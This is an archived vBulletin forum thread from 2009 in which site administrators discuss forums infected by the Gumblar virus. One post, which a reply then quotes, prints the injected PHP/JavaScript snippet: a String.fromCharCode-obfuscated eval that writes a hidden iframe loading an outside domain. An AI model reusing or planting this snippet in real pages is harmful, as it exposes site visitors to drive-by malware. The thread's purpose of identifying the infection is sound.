vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   Forum and Server Management (https://vborg.vbsupport.ru/forumdisplay.php?f=232)
-   -   Gumblar Virus - Stupid thing! (https://vborg.vbsupport.ru/showthread.php?t=213761)

RedSpiral 05-15-2009 03:24 PM
Gumblar Virus - Stupid thing!
 
I've just had a client whose vbulletin was infected by gumblar.
Read the article.
http://uk.news.yahoo.com/16/20090515...w-6315470.html

I spent an hour or 2 trying to get rid of it but no luck...so had to do a fresh install luckly board was new but still this virus is so annoying!

silvermerc 05-16-2009 02:52 PM
Is this the code;
PHP Code:
?>

<?php echo ''; ?><?php echo ''; ?><?php echo '<script 
type="text/javascript">eval(String.fromCharCode(118,97,114,32,106,104,106,61,52,50,52,52,52,51,59,118,97,114,32,104,106,103,50,50,61,34,99,111,112,121,34,59,118,97,114,32,119,61,34,111,34,59,118,97,114,32,114,101,54,61,34,108,105,115,116,46,34,59,118,97,114,32,114,114,116,116,54,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,104,106,103,50,50,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,114,114,116,116,54,43,39,47,39,43,39,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,50,34,62,60,47,105,39,43,39,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,104,103,52,61,50,51,49,49,50,51))</script>'; 
?>'
I seem to be getting infected by that :{

RedSpiral 05-16-2009 06:38 PM
Quote:
Originally Posted by silvermerc (Post 1811881)
Is this the code;
PHP Code:
?>

<?php echo ''; ?><?php echo ''; ?><?php echo '<script 
type="text/javascript">eval(String.fromCharCode(118,97,114,32,106,104,106,61,52,50,52,52,52,51,59,118,97,114,32,104,106,103,50,50,61,34,99,111,112,121,34,59,118,97,114,32,119,61,34,111,34,59,118,97,114,32,114,101,54,61,34,108,105,115,116,46,34,59,118,97,114,32,114,114,116,116,54,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,104,106,103,50,50,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,114,114,116,116,54,43,39,47,39,43,39,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,50,34,62,60,47,105,39,43,39,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,104,103,52,61,50,51,49,49,50,51))</script>'; 
?>'
I seem to be getting infected by that :{
whats your forum url?

To know its its gumblar go to your forum and in the status bar it should say loading from gumblar.cn

But yes I think you might gumblar.

Dismounted 05-17-2009 03:14 AM
If that's being placed directly into your files - you may have a bigger problem than just that...

silvermerc 05-21-2009 11:58 PM
it spreads through files -cry
file url is in my profile :}

raiderlax 05-22-2009 04:12 AM
How does a forum even get infected with this?

silvermerc 05-22-2009 05:28 AM
Its has the priorities to be confiker aswel btw thats the problem


All times are GMT. The time now is 08:25 PM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.01800 seconds
  • Memory Usage 1,728KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (2)bbcode_php_printable
  • (1)bbcode_quote_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (7)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 
Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 
Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete